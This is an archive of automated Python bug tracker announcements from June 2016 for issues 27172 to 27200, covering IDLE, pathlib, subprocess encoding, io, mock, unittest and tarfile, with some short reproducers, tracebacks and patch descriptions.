From report at bugs.python.org Wed Jun 1 00:04:50 2016 From: report at bugs.python.org (ryan.petrello) Date: Wed, 01 Jun 2016 04:04:50 +0000 Subject: [New-bugs-announce] [issue27172] Add skip_bound_arg argument to inspect.Signature.from_callable() Message-ID: <1464753890.83.0.908486465545.issue27172@psf.upfronthosting.co.za> Changes by ryan.petrello : ---------- components: Library (Lib) files: signature-from-callable-skip-bound-arg.patch keywords: patch nosy: ryan.petrello priority: normal severity: normal status: open title: Add skip_bound_arg argument to inspect.Signature.from_callable() type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43078/signature-from-callable-skip-bound-arg.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 1 03:29:45 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Jun 2016 07:29:45 +0000 Subject: [New-bugs-announce] [issue27173] Modern Unix key bindings for IDLE Message-ID: <1464766185.36.0.150155479026.issue27173@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: The "IDLE Classic Unix" key set in IDLE provides Emacs-like key bindings. But modern Linux environments (KDE, Gnome, etc) use different key bindings in standard editors. Proposed patch provides new key set named "IDLE Modern Unix" that uses key bindings common in KDE (and mainly in Gnome). It is more habitual for average user. In additional the patch makes IDLE to use platform-depending key set by default. ---------- components: IDLE files: idle_modern_unix_key_set.patch keywords: patch messages: 266801 nosy: serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Modern Unix key bindings for IDLE type: enhancement versions: Python 2.7, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43079/idle_modern_unix_key_set.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 1 03:36:16 2016 From: report at bugs.python.org (kulla) Date: Wed, 01 Jun 2016 07:36:16 +0000 Subject: [New-bugs-announce] [issue27174] Update URL to IPython in interactive.rst Message-ID: <1464766576.17.0.0548919412603.issue27174@psf.upfronthosting.co.za> New submission from kulla: The file https://docs.python.org/3.6/tutorial/interactive.html has a dead link for IPython to http://ipython.scipy.org/ I guess the right link shall be https://ipython.org/ ---------- components: Devguide messages: 266802 nosy: ezio.melotti, kulla, willingc priority: normal severity: normal status: open title: Update URL to IPython in interactive.rst versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 1 05:18:04 2016 From: report at bugs.python.org (Antony Lee) Date: Wed, 01 Jun 2016 09:18:04 +0000 Subject: [New-bugs-announce] [issue27175] Unpickling Path objects Message-ID: <1464772684.94.0.191025907363.issue27175@psf.upfronthosting.co.za> New submission from Antony Lee: Currently, pickling Path objects lead to issues when working across platforms: Paths (and, thus, objects that contain Paths) created on a POSIX platform (PosixPaths) cannot be unpickled on Windows and vice versa. There are a few possibilities around this issue. - Don't do anything about it, you should use PurePaths if you care about cross-platform compatibility: this would be pretty awkward, as any call to the Path API would require converting back the PurePath to a Path first. - Silently convert Paths to PurePaths during pickling (a solution that seems to have been adopted by http://docs.menpo.org/en/stable/api/menpo/io/export_pickle.html for example): it would be better if Paths at least roundtripped correctly within a single platform. - Convert Paths to PurePaths at unpickling time, only if the platform is different (and possibly with a warning): this is the least bad solution I came up with so far. Note that calls to the Path API on a "converted" PurePath object would be invalid anyways as the PurePath (being of a different platform) cannot be representing a valid path. Thoughts? ---------- components: Library (Lib) messages: 266810 nosy: Antony.Lee priority: normal severity: normal status: open title: Unpickling Path objects versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 1 10:16:56 2016 From: report at bugs.python.org (Bar Harel) Date: Wed, 01 Jun 2016 14:16:56 +0000 Subject: [New-bugs-announce] [issue27176] Addition of assertNotRaises Message-ID: <1464790616.9.0.804772200909.issue27176@psf.upfronthosting.co.za> New submission from Bar Harel: I thought of implementing an assertNotRaises to solve the issue of using try...except...fail in order to prevent showing the tests as an error and instead show them as a failure. Is there anything I should consider while implementing it? ---------- components: Library (Lib), Tests messages: 266816 nosy: bar.harel priority: normal severity: normal status: open title: Addition of assertNotRaises type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 1 10:20:08 2016 From: report at bugs.python.org (Jeroen Demeyer) Date: Wed, 01 Jun 2016 14:20:08 +0000 Subject: [New-bugs-announce] [issue27177] re match.group should support __index__ Message-ID: <1464790808.77.0.698310162067.issue27177@psf.upfronthosting.co.za> New submission from Jeroen Demeyer: ``` >>> class zero(object): ... def __index__(self): ... return 0 ... >>> z = zero() >>> import re >>> p = re.compile('(a)b') >>> m = p.match('ab') >>> m.group(0) 'ab' >>> m.group(z) Traceback (most recent call last): File "", line 1, in IndexError: no such group ``` ---------- components: Regular Expressions files: re_match_index.patch keywords: patch messages: 266817 nosy: ezio.melotti, jdemeyer, mrabarnett priority: normal severity: normal status: open title: re match.group should support __index__ versions: Python 2.7 Added file: http://bugs.python.org/file43084/re_match_index.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 1 17:20:04 2016 From: report at bugs.python.org (Nathan Harold) Date: Wed, 01 Jun 2016 21:20:04 +0000 Subject: [New-bugs-announce] [issue27178] Unconverted RST marking in interpreter tutorial Message-ID: <1464816004.4.0.533842963669.issue27178@psf.upfronthosting.co.za> New submission from Nathan Harold: There's a bit of uninterpreted RST markup: 3.6.. _tut-using: at the top of the second section of the tutorial (https://docs.python.org/3.6/tutorial/interpreter.html) in the documentation for 3.6 only. (I can see this in the offline copy I received with 3.6.0a1 as well.) It appears that this originated in 96328:dfe62f685538, which changed various references to Python to say 3.6 instead of 3.5. This line had formerly just said: .. _tut-using: My best guess is that this was just an accident. I can't find a precedent or meaning for the changed notation, and there were no similar changes to any other files, either. I've included a patch for this line. ---------- assignee: docs at python components: Documentation files: fix.diff keywords: patch messages: 266840 nosy: docs at python, nharold priority: normal severity: normal status: open title: Unconverted RST marking in interpreter tutorial type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43093/fix.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 1 20:52:46 2016 From: report at bugs.python.org (=?utf-8?b?RMSBdmlz?=) Date: Thu, 02 Jun 2016 00:52:46 +0000 Subject: [New-bugs-announce] [issue27179] subprocess uses wrong encoding on Windows Message-ID: <1464828766.51.0.809606583575.issue27179@psf.upfronthosting.co.za> New submission from D?vis: subprocess uses wrong encoding on Windows. On Windows 10 with Python 3.5.1 from Command Prompt (cmd.exe) > chcp 65001 > python -c "import subprocess; subprocess.getstatusoutput('?')" Traceback (most recent call last): File "", line 1, in File "P:\Python35\lib\subprocess.py", line 808, in getstatusoutput data = check_output(cmd, shell=True, universal_newlines=True, stderr=STDOUT) File "P:\Python35\lib\subprocess.py", line 629, in check_output **kwargs).stdout File "P:\Python35\lib\subprocess.py", line 698, in run stdout, stderr = process.communicate(input, timeout=timeout) File "P:\Python35\lib\subprocess.py", line 1055, in communicate stdout = self.stdout.read() File "P:\Python35\lib\encodings\cp1257.py", line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0] UnicodeDecodeError: 'charmap' codec can't decode byte 0x81 in position 2: character maps to from PowerShell > [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 > python -c "import subprocess; subprocess.getstatusoutput('?')" Traceback (most recent call last): File "", line 1, in File "P:\Python35\lib\subprocess.py", line 808, in getstatusoutput data = check_output(cmd, shell=True, universal_newlines=True, stderr=STDOUT) File "P:\Python35\lib\subprocess.py", line 629, in check_output **kwargs).stdout File "P:\Python35\lib\subprocess.py", line 698, in run stdout, stderr = process.communicate(input, timeout=timeout) File "P:\Python35\lib\subprocess.py", line 1055, in communicate stdout = self.stdout.read() File "P:\Python35\lib\encodings\cp1257.py", line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0] UnicodeDecodeError: 'charmap' codec can't decode byte 0x81 in position 2: character maps to As you can see even if consoles encoding is UTF-8 it still uses Windows ANSI codepage 1257 this happens because io.TextIOWrapper is used with default encoding which is locale.getpreferredencoding(False) but that's wrong because that's not console's encoding. I've attached a patch which fixes this by using correct console encoding with sys.stdout.encoding Only note that there's different bug that when python is executed inside PowerShell's group expression then sys.stdout.encoding will be wrong > [Console]::OutputEncoding.EncodingName Unicode (UTF-8) > ([Console]::OutputEncoding.EncodingName) Unicode (UTF-8) > python -c "import sys; print(sys.stdout.encoding)" cp65001 > (python -c "import sys; print(sys.stdout.encoding)") cp1257 it still should be cp65001 and that's why in this case subprocess will still fail even with my patch, but this some different bug. ---------- components: IO, Library (Lib), Unicode, Windows files: subprocess_fix_encoding.patch keywords: patch messages: 266852 nosy: davispuh, ezio.melotti, haypo, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: subprocess uses wrong encoding on Windows type: behavior versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43094/subprocess_fix_encoding.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 07:18:19 2016 From: report at bugs.python.org (Masato HASHIMOTO) Date: Thu, 02 Jun 2016 11:18:19 +0000 Subject: [New-bugs-announce] [issue27180] Doc/pathlib: Please describe the behaviour of Path().rename() is depends on the platform (same as os.rename()) Message-ID: <1464866299.22.0.549959469595.issue27180@psf.upfronthosting.co.za> New submission from Masato HASHIMOTO: The behavior of Path().rename() is same as os.rename() (replaces silently if dest file is already existent on Unix) but it's difficult to catch from current pathlib documentation (I found it from source of pathlib) from comparing with replace(). IMHO, it should be described on pathlilb documentation. ---------- assignee: docs at python components: Documentation messages: 266883 nosy: docs at python, hashimo priority: normal severity: normal status: open title: Doc/pathlib: Please describe the behaviour of Path().rename() is depends on the platform (same as os.rename()) type: enhancement versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 08:24:07 2016 From: report at bugs.python.org (Ram Rachum) Date: Thu, 02 Jun 2016 12:24:07 +0000 Subject: [New-bugs-announce] [issue27181] Add geometric mean to `statistics` module Message-ID: <1464870247.83.0.633745051899.issue27181@psf.upfronthosting.co.za> Changes by Ram Rachum : ---------- components: Library (Lib) nosy: cool-RR priority: normal severity: normal status: open title: Add geometric mean to `statistics` module type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 13:16:29 2016 From: report at bugs.python.org (Ethan Furman) Date: Thu, 02 Jun 2016 17:16:29 +0000 Subject: [New-bugs-announce] [issue27182] PEP 519 support in the stdlib Message-ID: <1464887789.1.0.970652730446.issue27182@psf.upfronthosting.co.za> New submission from Ethan Furman: Meta issue to track adding PEP 519 support in the various stdlib modules. ---------- messages: 266891 nosy: brett.cannon, ethan.furman, serhiy.storchaka priority: normal severity: normal status: open title: PEP 519 support in the stdlib _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 13:21:48 2016 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 02 Jun 2016 17:21:48 +0000 Subject: [New-bugs-announce] [issue27183] Clarify that Py_VISIT(NULL) does nothing Message-ID: <1464888108.12.0.251087616908.issue27183@psf.upfronthosting.co.za> New submission from Petr Viktorin: The Py_VISIT macro (in Include/objimpl.h) does nothing if passed NULL (and did this since its introduction). It would be nice to have this formally documented. ---------- assignee: docs at python components: Documentation files: 0001-Doc-c-api-Clarify-that-Py_VISIT-NULL-does-nothing.patch keywords: patch messages: 266894 nosy: docs at python, encukou, eric.araujo, ezio.melotti, georg.brandl priority: normal severity: normal status: open title: Clarify that Py_VISIT(NULL) does nothing type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43102/0001-Doc-c-api-Clarify-that-Py_VISIT-NULL-does-nothing.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 13:30:07 2016 From: report at bugs.python.org (Ethan Furman) Date: Thu, 02 Jun 2016 17:30:07 +0000 Subject: [New-bugs-announce] [issue27184] Support path objects in the nt module Message-ID: <1464888607.0.0.619919678866.issue27184@psf.upfronthosting.co.za> Changes by Ethan Furman : ---------- nosy: brett.cannon, ethan.furman, serhiy.storchaka priority: normal severity: normal stage: test needed status: open title: Support path objects in the nt module type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 13:54:58 2016 From: report at bugs.python.org (Erin Braswell) Date: Thu, 02 Jun 2016 17:54:58 +0000 Subject: [New-bugs-announce] [issue27185] Increase Test Coverage for the String Module Message-ID: <1464890098.67.0.933644728591.issue27185@psf.upfronthosting.co.za> Changes by Erin Braswell : ---------- components: Tests files: stringtests.patch keywords: patch nosy: erinspace priority: normal severity: normal status: open title: Increase Test Coverage for the String Module type: enhancement Added file: http://bugs.python.org/file43104/stringtests.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 14:22:21 2016 From: report at bugs.python.org (Ethan Furman) Date: Thu, 02 Jun 2016 18:22:21 +0000 Subject: [New-bugs-announce] [issue27186] add os.fspath() Message-ID: <1464891741.78.0.364985745174.issue27186@psf.upfronthosting.co.za> Changes by Ethan Furman : ---------- nosy: brett.cannon, ethan.furman, serhiy.storchaka priority: normal severity: normal stage: test needed status: open title: add os.fspath() type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 17:06:42 2016 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 02 Jun 2016 21:06:42 +0000 Subject: [New-bugs-announce] [issue27187] Relax __all__ location requirement in PEP 8 Message-ID: <1464901602.05.0.802918160149.issue27187@psf.upfronthosting.co.za> New submission from Barry A. Warsaw: PEP 8 says: Put any relevant __all__ specification after the imports. I don't remember why we wanted __all__ to go after imports. I think we should relax that since other dunders can go before imports. See related PYCQA issue: https://github.com/PyCQA/pycodestyle/issues/394 ---------- messages: 266949 nosy: barry priority: normal severity: normal status: open title: Relax __all__ location requirement in PEP 8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 17:53:34 2016 From: report at bugs.python.org (Dave Sawyer) Date: Thu, 02 Jun 2016 21:53:34 +0000 Subject: [New-bugs-announce] [issue27188] sqlite3 execute* methods return value not documented Message-ID: <1464904414.88.0.548243958784.issue27188@psf.upfronthosting.co.za> New submission from Dave Sawyer: The three execute methods of the connection object return the created cursor. The term "intermediate" implies the cursor is totally handled by the execute method, not that the user will get ownership of the object. When the user doesn't call close() on the returned cursor right away, they hold a lock on the database until the object is garbage collected. ---------- files: execdoc_patch1.txt messages: 266964 nosy: Dave Sawyer priority: normal severity: normal status: open title: sqlite3 execute* methods return value not documented type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43120/execdoc_patch1.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 18:31:55 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 02 Jun 2016 22:31:55 +0000 Subject: [New-bugs-announce] [issue27189] configure --with-lto with clang should find the appropriate llvm-profdata tool Message-ID: <1464906715.45.0.48477464544.issue27189@psf.upfronthosting.co.za> New submission from Gregory P. Smith: The --with-lto support added in issue25702 can work with clang, but on a Linux distribution such as ubuntu 16.04 with clang installed you get: $ CC=clang ./configure --with-lto ... $ make profile-opt Error: Cannot perform PGO build because llvm-profdata was not found in PATH Please add it to PATH and run ./configure again Makefile:503: recipe for target 'profile-opt' failed make: *** [profile-opt] Error 1 The llvm-profdata tool exists but is only known as llvm-profdata-3.8. We should have the ./configure script figure this out. I'm not sure what the preferred "right" way to determine this is. Detecting that CC is a clang compiler and using its reported version number? noticing that clang is a symlink into an llvm-X.Y tree and using that number? none of these sound great. hopefully there is a better deterministic way to query clang for this. ---------- components: Build messages: 266976 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: configure --with-lto with clang should find the appropriate llvm-profdata tool type: compile error versions: Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 20:53:39 2016 From: report at bugs.python.org (Dave Sawyer) Date: Fri, 03 Jun 2016 00:53:39 +0000 Subject: [New-bugs-announce] [issue27190] Check sqlite3_version before allowing check_same_thread = False Message-ID: <1464915219.9.0.729350732197.issue27190@psf.upfronthosting.co.za> New submission from Dave Sawyer: Starting in sqlite version 3.3.1 (Jan 2006) multiple threads can share the same connection. Python allows you do use this with the check_same_thread parameter of sqlite3.connect() method. It's almost certain users have a late enough version of sqlite that they can use this option. While we could document "check your version before using this feature" (see http://bugs.python.org/issue27113) it would be nicer to check the actual database for support. Code can be written and tested on one machine and deployed to another machine. Using this feature on an very old version of sqlite can crash or possibly corrupt the database. ---------- files: sqlite_oldver_issue.txt messages: 267013 nosy: Dave Sawyer priority: normal severity: normal status: open title: Check sqlite3_version before allowing check_same_thread = False type: enhancement Added file: http://bugs.python.org/file43135/sqlite_oldver_issue.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 21:02:50 2016 From: report at bugs.python.org (Ian Lee) Date: Fri, 03 Jun 2016 01:02:50 +0000 Subject: [New-bugs-announce] [issue27191] Add formatting around methods in PEP 8 Message-ID: <1464915770.62.0.255842565692.issue27191@psf.upfronthosting.co.za> New submission from Ian Lee: Noticed a couple methods in the text that aren't backtick quoted. ---------- assignee: docs at python components: Documentation files: rst-formatting.txt messages: 267015 nosy: IanLee1521, barry, docs at python priority: normal severity: normal status: open title: Add formatting around methods in PEP 8 Added file: http://bugs.python.org/file43136/rst-formatting.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 22:44:43 2016 From: report at bugs.python.org (Harrison Chudleigh) Date: Fri, 03 Jun 2016 02:44:43 +0000 Subject: [New-bugs-announce] [issue27192] Keyboard Shortcuts Consistently Cause Crashes Message-ID: <1464921883.27.0.409167298484.issue27192@psf.upfronthosting.co.za> New submission from Harrison Chudleigh: When trying to add keys to my program, I noticed that using the shortcuts Alt-e, Alt-i, Alt-n and Alt-u caused IDLE to consistently crash. No odd behavior was observed with the corresponding capital letters. ---------- components: Macintosh messages: 267026 nosy: Harrison Chudleigh, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: Keyboard Shortcuts Consistently Cause Crashes type: crash versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 2 22:47:02 2016 From: report at bugs.python.org (Harrison Chudleigh) Date: Fri, 03 Jun 2016 02:47:02 +0000 Subject: [New-bugs-announce] [issue27193] Tkinter Unresponsive With Special Keys Message-ID: <1464922022.89.0.541400741468.issue27193@psf.upfronthosting.co.za> New submission from Harrison Chudleigh: When working on my program (the same one where I found Issue 27192), I tried adding keyboard shortcuts. I discovered that Tkinter doe not register the keys Alt, Command, Control, Fn, Shift and Caps Lock on a Mac. ---------- components: Macintosh messages: 267027 nosy: Harrison Chudleigh, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: Tkinter Unresponsive With Special Keys versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 00:56:33 2016 From: report at bugs.python.org (Jason Fried) Date: Fri, 03 Jun 2016 04:56:33 +0000 Subject: [New-bugs-announce] [issue27194] Tarfile superfluous truncate calls slows extraction. Message-ID: <1464929793.77.0.639155899875.issue27194@psf.upfronthosting.co.za> New submission from Jason Fried: With large tar file extracts I noticed that tarfile was slower than it should be. Seems in linux that for large files (10MB) truncate is not always a free operation even when it should be a no-op. ex: File is already 10mb seek to end and truncate. I created a script to test the validity of this patch. It generates two random tar archives containing 1024 files of 10mb each. The files are randomized so disk caching should not interfere. So to extract those 1g tar files the following was observed Time Delta for TarFile: 148.23699307441711 Time Delta for FastTarFile: 107.71058106422424 Time Diff: 40.52641201019287 0.27338932859929255 ---------- components: Library (Lib) files: truncate.patch keywords: patch messages: 267035 nosy: asvetlov, fried, lukasz.langa priority: normal severity: normal status: open title: Tarfile superfluous truncate calls slows extraction. type: performance versions: Python 3.5 Added file: http://bugs.python.org/file43138/truncate.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 00:59:41 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 03 Jun 2016 04:59:41 +0000 Subject: [New-bugs-announce] [issue27195] Crash when RawIOBase.write(b) evaluates b.format Message-ID: <1464929981.41.0.2917772561.issue27195@psf.upfronthosting.co.za> New submission from Martin Panter: $ gdb --args ./python -c ' import io class R(io.RawIOBase): def writable(self): return True def write(self, b): print("About to evaluate {!r}.format".format(b)) b.format print("Never reached") b = io.BufferedWriter(R()) b.write(b"x") b.flush() ' [. . .] (gdb) run [. . .] About to evaluate .format python: Objects/stringobject.c:120: PyString_FromString: Assertion `str != NULL' failed. Program received signal SIGABRT, Aborted. 0x00007ffff71422a8 in raise () from /usr/lib/libc.so.6 (gdb) bt full #0 0x00007ffff71422a8 in raise () from /usr/lib/libc.so.6 No symbol table info available. #1 0x00007ffff714372a in abort () from /usr/lib/libc.so.6 No symbol table info available. #2 0x00007ffff713b1b7 in __assert_fail_base () from /usr/lib/libc.so.6 No symbol table info available. #3 0x00007ffff713b262 in __assert_fail () from /usr/lib/libc.so.6 No symbol table info available. #4 0x000000000046f7b8 in PyString_FromString (str=0x0) at Objects/stringobject.c:120 size = 0 op = 0x7ffff7f9d160 __PRETTY_FUNCTION__ = "PyString_FromString" #5 0x0000000000562fec in memory_format_get (self=0x7ffff6ee4380) at Objects/memoryobject.c:330 No locals. #6 0x00000000005587d5 in getset_get (descr=0x7ffff7fb93a8, obj=0x7ffff6ee4380, type=0x81da40 ) at Objects/descrobject.c:146 res = 0x7ffff7fb5580 #7 0x00000000004611e6 in _PyObject_GenericGetAttrWithDict ( obj=0x7ffff6ee4380, name=0x7ffff7f9d160, dict=0x0) at Objects/object.c:1399 tp = 0x81da40 descr = 0x7ffff7fb93a8 res = 0x0 f = 0x55876a dictoffset = 8675760 dictptr = 0xf74ab600 __PRETTY_FUNCTION__ = "_PyObject_GenericGetAttrWithDict" #8 0x000000000046164a in PyObject_GenericGetAttr (obj=0x7ffff6ee4380, name=0x7ffff7f9d160) at Objects/object.c:1461 No locals. #9 0x0000000000460ab0 in PyObject_GetAttr (v=0x7ffff6ee4380, name=0x7ffff7f9d160) at Objects/object.c:1196 tp = 0x81da40 #10 0x00000000004d0dae in PyEval_EvalFrameEx (f=0x7ffff7e31c00, throwflag=0) at Python/ceval.c:2541 [. . .] #16 0x0000000000421b0e in PyObject_CallMethodObjArgs (callable=0x7ffff7e601e0, name=0x7ffff7fc3820) at Objects/abstract.c:2751 args = 0x7ffff6cb94c0 tmp = 0x7ffff6ee4350 vargs = {{gp_offset = 24, fp_offset = 48, overflow_arg_area = 0x7fffffffddb0, reg_save_area = 0x7fffffffdcf0}} #17 0x00007ffff6a83283 in _bufferedwriter_raw_write (self=0x7ffff6ee1318, start=0x8ff710 "x", '\313' , ..., len=1) at /media/disk/home/proj/python/cpython/Modules/_io/bufferedio.c:1726 buf = {buf = 0x8ff710, obj = 0x0, len = 1, itemsize = 1, readonly = 1, ndim = 1, format = 0x0, shape = 0x7fffffffdde0, strides = 0x0, suboffsets = 0x0, smalltable = {9432288, 140737488346688}, internal = 0x0} memobj = 0x7ffff6ee4380 res = 0x7fffffffde60 n = 5605226 errnum = 0 #18 0x00007ffff6a8360d in _bufferedwriter_flush_unlocked (self=0x7ffff6ee1318) at /media/disk/home/proj/python/cpython/Modules/_io/bufferedio.c:1773 written = 0 n = 1 rewind = 0 #19 0x00007ffff6a7faf6 in buffered_flush_and_rewind_unlocked ( self=0x7ffff6ee1318) at /media/disk/home/proj/python/cpython/Modules/_io/bufferedio.c:756 res = 0x7ffff7fc8700 #20 0x00007ffff6a7fd52 in buffered_flush (self=0x7ffff6ee1318, args=0x0) at /media/disk/home/proj/python/cpython/Modules/_io/bufferedio.c:783 res = 0x7ffff6ee1318 #21 0x00000000004d824c in call_function (pp_stack=0x7fffffffe078, oparg=0) at Python/ceval.c:4334 meth = 0x7ffff6a7fc4f self = 0x7ffff6ee1318 flags = 4 tstate = 0x8461b0 na = 0 nk = 0 n = 0 pfunc = 0x7ffff7f151e8 func = 0x7ffff6cb86f0 x = 0x7ffff6ee1318 w = 0x7ffff7f151e8 [. . .] ---------- components: IO messages: 267038 nosy: martin.panter priority: normal severity: normal status: open title: Crash when RawIOBase.write(b) evaluates b.format type: crash versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 04:00:07 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jun 2016 08:00:07 +0000 Subject: [New-bugs-announce] [issue27196] Eliminate 'ThemeChanged' warning when running IDLE tests Message-ID: <1464940807.02.0.170350027457.issue27196@psf.upfronthosting.co.za> New submission from Terry J. Reedy: When running "python_d.exe -m test_idle from console or when running test file from IDLE after starting it in either console or by import, the following sometimes appears. can't invoke "event" command: application has been destroyed while executing "event generate $w <>" (procedure "ttk::ThemeChanged" line 6) invoked from within "ttk::ThemeChanged" Serhiy, this is pobably not critical, but it is annoying. Perhaps the 'kill-callbacks' patch would fix this. Still, I try to have IDLE tests cleanup properly. Known repeatable occurrences: * test_configdialog.ConfigDialogTest.test_dialog, when run from IDLE after import, but not when part of suite. * test_replace.ReplaceDialogTest.test_default_command, 3 times, when run as part suite, but not when run from IDLE after import. ---------- components: IDLE, Tkinter messages: 267078 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal stage: needs patch status: open title: Eliminate 'ThemeChanged' warning when running IDLE tests type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 13:21:05 2016 From: report at bugs.python.org (Clark Breyman) Date: Fri, 03 Jun 2016 17:21:05 +0000 Subject: [New-bugs-announce] [issue27197] mock.patch interactions with "from" imports Message-ID: <1464974465.34.0.0106266005771.issue27197@psf.upfronthosting.co.za> New submission from Clark Breyman: Unclear if this is a code bug or a gotcha that should be documented: Cross posted to https://github.com/testing-cabal/mock/issues/365 Since "from"-style imports in modules bind names on the first execution of the import, there is a subtle interaction with patching: _If a name is imported when the source is patched, the imported name will refer to the patched version even after the source is restored_ Test case: ```python # patchbug/__init__.py # ``` ```python # patchbug/a.py # class A(object): def name(self): return "unpatched" ``` ```python # patchbug/b.py # from patchbug.a import A def reference(): return A().name() # patchbug/tests.py # import mock """ patchbug.reference.UnpatchedClass is bound to the value of patchbug.source.UnpatchedClass at the time of the first import of patchbug.reference. If patched at that time it is not repaired. """ def test_unpatched(): import patchbug.a assert patchbug.a.A().name() == "unpatched" """ uncommenting the import causes reference.UnpatchedClass to be bound before the patch, fixing test_reference and breaking test_unpatched """ def test_import_reference(): # import patchbug.b pass def test_patched(): with mock.patch('patchbug.a.A') as P: import patchbug.a, patchbug.b P.return_value.name.return_value = "patched" assert patchbug.a.A().name() == "patched" assert patchbug.b.reference() == "patched" def test_reference(): import patchbug.b assert patchbug.b.reference() == "unpatched" ``` ---------- components: Library (Lib) messages: 267114 nosy: clarkbreyman priority: normal severity: normal status: open title: mock.patch interactions with "from" imports type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 14:48:32 2016 From: report at bugs.python.org (Chris Barker) Date: Fri, 03 Jun 2016 18:48:32 +0000 Subject: [New-bugs-announce] [issue27198] Adding an assertClose() method to unittest.TestCase Message-ID: <1464979712.74.0.398203716413.issue27198@psf.upfronthosting.co.za> New submission from Chris Barker: In py3.5, the math.isclose() function was added to the standard library. It can be used to compare floating point numbers to see if they are close to each other, rather than exactly equal. It's not a lot of code, but there are nuances that not every python user should need to understand. One of the major use cases for isclose() is test code, so it would be good to make it easily available in unitest.TestCase. TestCase.assertAlmostEqual is NOT the same thing, and can only be used properly for values near 1. Enclosed is a patch that adds assertClose and assertNotClose to unittest, as well as tests and additions to the docs. Still pending: should this support complex numbers, there is a cmath.isclose(). If so, but switching on type? Also -- should this be back-ported to 3.5 as well -- math.isclose() was introduced there. Done in the pyCon sprints. ---------- components: Library (Lib) files: assertClose.patch keywords: patch messages: 267133 nosy: ChrisBarker, ezio.melotti, michael.foord, rbcollins priority: normal severity: normal status: open title: Adding an assertClose() method to unittest.TestCase type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43157/assertClose.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 14:55:37 2016 From: report at bugs.python.org (Jason Fried) Date: Fri, 03 Jun 2016 18:55:37 +0000 Subject: [New-bugs-announce] [issue27199] TarFile expose copyfileobj bufsize to improve throughput Message-ID: <1464980137.78.0.803567676795.issue27199@psf.upfronthosting.co.za> New submission from Jason Fried: The default of 16k while good for memory usage it is not well suited for all cases. if we increased this to 4MB we saw a pretty large improvement to tar file creation and extraction on linux servers. For a 1gb tar file containing 1024 random files each of 10MB in size. Time Delta for TarFile: 146.3240258693695 Time Delta for FastTarFile 4MB copybufsize: 102.76440262794495 Time Diff: 43.55962324142456 0.2976928975444698 ---------- components: Library (Lib) files: buftest.py messages: 267134 nosy: asvetlov, fried, lukasz.langa priority: normal severity: normal status: open title: TarFile expose copyfileobj bufsize to improve throughput type: performance versions: Python 3.5 Added file: http://bugs.python.org/file43158/buftest.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 17:13:28 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 03 Jun 2016 21:13:28 +0000 Subject: [New-bugs-announce] [issue27200] make doctest in CPython has failures Message-ID: <1464988408.0.0.840317371896.issue27200@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: I'm going to gather together a patch to fix some of these issues. ---------- messages: 267166 nosy: Jelle Zijlstra, brett.cannon priority: normal severity: normal status: open title: make doctest in CPython has failures _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 3 18:37:22 2016 From: report at bugs.python.org (Matthias Klose) Date: Fri, 03 Jun 2016 22:37:22 +0000 